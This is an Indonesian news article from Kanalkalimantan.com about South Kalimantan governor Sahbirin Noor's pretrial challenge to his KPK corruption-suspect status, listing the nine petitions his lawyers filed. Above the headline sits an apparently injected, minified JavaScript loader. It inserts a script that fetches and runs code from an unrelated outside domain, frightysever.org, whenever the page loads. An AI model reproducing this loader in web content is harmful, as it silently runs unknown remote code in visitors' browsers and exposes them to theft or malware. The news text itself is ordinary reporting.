(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sidang Praperadilan Sahbirin Noor Sampaikan Sembilan Petitum


KANALKALIMANTAN.COM, JAKARTA – Sidang Praperadilan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor mulai digelar di Pengadilan Negeri (PN) Jakarta Selatan, Selasa (5/11/2024).

Seyogianya sidang pembacaan gugatan praperadilan digelar Senin (28/10/2024) pekan lalu, namun sidang ditunda karena KPK selaku termohon belum siap.

Dilansir dari laman SIPP PN Jakarta Selatan, tim kuasa hukum tersangka Sahbirin Noor menyampaikan sembilan petitum permohonan.

Pertama, meminta hakim menerima dan mengabulkan permohonan Praperadilan dari Pemohon (Sahbirin Noor) untuk seluruhnya. Kedua, menyatakan bahwa perbuatan termohon yang menetapkan pemohon sebagai tersangka merupakan perbuatan yang sewenang-wenang karena tidak sesuai dengan prosedur dan bertentangan dengan hukum dan dinyatakan batal.

Baca juga: Hadapi Praperadilan Gubernur Kalsel, KPK Yakin Ditolak Hakim

Kemudian ketiga, menyatakan tidak sah dan tidak mempunyai kekuatan hukum mengikat Penetapan tersangka terhadap pemohon (Sahbirin Noor) oleh termohon. Keempat, menyatakan Surat Perintah Penyidikan tertanggal 07 Oktober 2024 atas nama Sahbirin Noor adalah tidak sah dan tidak berdasarkan atas hukum, dan oleh karenanya penetapan a quo tidak memiliki kekuatan hukum mengikat.

Kelima, menyatakan penyidikan yang dilakukan termohon terhadap pemohon sebagaimana tertuang dalam Surat Perintah Penyidikan tertanggal 07 Oktober 2024 atas nama Sahbirin Noor adalah tidak sah, tidak berdasarkan atas hukum, dan oleh karenanya penyidikan a quo tidak mempunyai kekuatan hukum mengikat. Keenam, memerintahkan kepada termohon untuk menghentikan penyidikan terhadap pemohon yang dilakukan berdasarkan Surat Perintah Penyidikan tertanggal 7 Oktober 2024 atas nama Sahbirin Noor.

Ketujuh, menyatakan tidak sah segala keputusan atau penetapan yang dikeluarkan lebih lanjut oleh termohon yang berkenaan dengan penetapan tersangka atas diri pemohon oleh termohon. Kedelapan, memulihkan segala hak hukum pemohon terhadap tindakan-tindakan yang telah dilakukan oleh termohon. Dan kesembilan, menghukum termohon untuk membayar biaya perkara ini menurut hukum.

Baca juga: Persembahan HLN-79 PLN Salurkan Bantuan “Gerobak Cahaya” untuk UMKM

Kuasa hukum Sahbirin Noor Dr Soesilo Ariwibowo usai persidangan mengatakan, subtansi petitum yang disampaikan pihaknya dalam gugatan pada intinya meminta dibatalkannya penetapan tersangka Sahbirin Noor.

“Pak Sahbirin Noor tidak dalam posisi tangkap tangan (OTT), tetapi diumumkan sama-sama dalam tangkap tangan, itu yang jadi keberatan kami,” katanya.

Sebagaiman diketahui, KPK sebelumnya melakukan Operasi Tangkap Tangan (OTT) terhadap sejumlah pejabat Dinas PUPR Kalsel karena diduga terlibat dalam kasus suap dan gratifikasi proyek Pengadaan Barang dan Jasa (PBJ) pada tiga proyek Pemprov Kalsel.

Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor alias Paman Birin dalam kasus ini turut ditetapkan KPK sebagai tersangka.

Baca juga: Pasca Pembatalan Pencalonan: Surat Suara Pilwali Banjarbaru Tunggu Arahan KPU RI

Bersama Kepala Dinas PUPR Kalsel Ahmad Solhan, Kabid Cipta Karya PUPR Kalsel sekaligus PPK Yulianti Erlynah.

Kemudian Agustya Febry Andrean selaku Plt Kepala Bagian Rumah Tangga Gubernur Kalsel, dan Ahmad sebagai pengepul uang fee.

Dalam kasus ini, KPK juga menetapkan dua tersangka dari pihak swasta yaitu Sugeng Wahyudi dan Andi Susanto.

Dalam operasi senyap itu, KPK juga turut mengamankan barang bukti uang tunai senilai Rp12 miliar dan USD500.

Kecuali Paman Birin, enam tersangka sejak Senin (7/10/2024) telah dilakukan penahanan di Rutan KPK untuk kepentingan penyidikan.

Baca juga: KPU Banjarmasin Evaluasi Pelaksanaan Debat Terbuka

Tak terima turut ditetapkan sebagai tersangka, Gubernur Paman Birin melalui kuasa hukum mengajukan keberatan dengan menggugatan penetapan tersangka ke PN Jakarta Selatan.(Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Petani Sumardi Minta Dibebaskan Tanpa Bersyarat

KANALKALIMANTAN.COM, MARTAPURA - Sumardi (63), petani dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar,… Read More

25 menit ago

Persembahan HLN-79 PLN Salurkan Bantuan “Gerobak Cahaya” untuk UMKM

KANALKALIMANTAN.COM, BALIKPAPAN - Memperingati Hari Listrik Nasional (HLN) ke-79, PT PLN (Persero) Unit Penyaluran dan… Read More

3 jam ago

Kirim Uang ke LN Lewat BRImo Bisa Dapat Hadiah Menarik Setiap Bulan, Mau?

KANALKALIMANTAN.COM - Kebutuhan masyarakat Indonesia untuk transfer ke luar negeri semakin meningkat. Hal ini karena banyaknya… Read More

4 jam ago

Banjir Peminat, Waktu Pendaftaran PLN Journalist Award 2024 Diperpanjang Hingga 14 November 2024

KANALKALIMANTAN.COM, JAKARTA - Menyambut tingginya antusiasme para jurnalis dalam berpartisipasi pada ajang PLN Journalist Award… Read More

4 jam ago

KPU Banjarmasin Evaluasi Pelaksanaan Debat Terbuka

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin mengevaluasi beberapa hal pasca debat perdana… Read More

5 jam ago

Pemko Banjarbaru Raih Bhumandala Award 2024

KANALKALIMANTAN.COM, JAKARTA – Pemerintah Kota (Pemko) Banjarbaru menerima Bhumandala Award kategori penyelenggara informasi geospasial terbaik… Read More

6 jam ago

This website uses cookies.